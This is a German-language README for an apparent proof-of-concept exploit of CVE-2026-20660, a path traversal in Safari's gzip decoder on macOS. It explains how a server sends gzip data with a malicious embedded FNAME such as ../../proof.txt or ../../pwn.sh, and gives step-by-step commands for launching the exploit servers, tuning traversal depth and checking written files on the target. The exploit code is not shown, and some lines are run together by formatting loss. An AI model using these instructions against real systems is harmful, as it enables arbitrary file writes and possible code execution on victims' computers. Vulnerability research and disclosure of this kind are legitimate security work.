
Eigenständiger PoC-Exploit für CVE-2026-20660: Path Traversal im gzip-Decoder von Safari. Server liefert bösartige gzip-Daten aus, um beliebige Dateien auf einem anfälligen macOS zu schreiben.
Dieser Ordner enthält einen eigenständigen Proof-of-Concept für:
NSGZipDecoder Pfad-Traversierung via gzip FNAMEserver.py: Haupt-PoC-Server mit konfigurierbarer Traversierungstiefe und Zielnameserver_overwrite.py: Fokussierte Variante, die ../../pwn.sh schreibtREADME.md: Reproduktionshinweise und BetriebsprotokollPatch-Diff zeigt geändertes Verhalten von -[NSGZipDecoder filenameWithOriginalFilename:]:
lastPathComponent vor der Rückgabe an.Dies blockiert Verzeichniskomponenten wie ../ und absolute Pfade im FNAME.
Der HTTP-Dateiname kann sauber sein und der Exploit gelingt dennoch.
Content-Disposition-Dateiname: sauber (Beispiel: report.gz)../../proof.txt)Die Safari-seitige Bereinigung gilt hauptsächlich für Namen auf HTTP-Ebene, nicht für den eingebetteten gzip-FNAME, der von NSGZipDecoder im anfälligen Ablauf verarbeitet wird.
Vom Repository-Stammverzeichnis aus:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Im anfälligen Safari öffnen:
http://<server-ip>:8888/
Klicken Sie auf Trigger depth=2.
Nach dem Auslösen überprüfen Sie das Schreibergebnis auf dem Zielcomputer:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Für die Überschreibvariante:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Dann öffnen:
http://<server-ip>:9999/
Überprüfen:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: Bind-Adresse (Standard 0.0.0.0)--port, -p: Lauschport (Standard 8888)--depth, -d: Traversierungstiefe (../-Wiederholungsanzahl, Standard 2)--name, -n: Name der ZieldateiBeispiele:
# schreibt nach ~/proof.txt, wenn die Tiefe der Verzeichnisschachtelung zur Laufzeit entspricht
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# expliziter absoluter Pfadtest (falls vom Resolver erlaubt)
python3 exploit/cve-2026-20660/server.py -p 8888
# dann verwenden: /download?depth=0&fname=/tmp/proof.txt
~/Downloads erfolgen, daher ist die Tiefe oft >= 2 erforderlich, um in ~/ zu gelangen.2, 3, 4) und testen Sie erneut.Nur in autorisierten Testumgebungen verwenden.
Für eine detailliertere Erklärung siehe: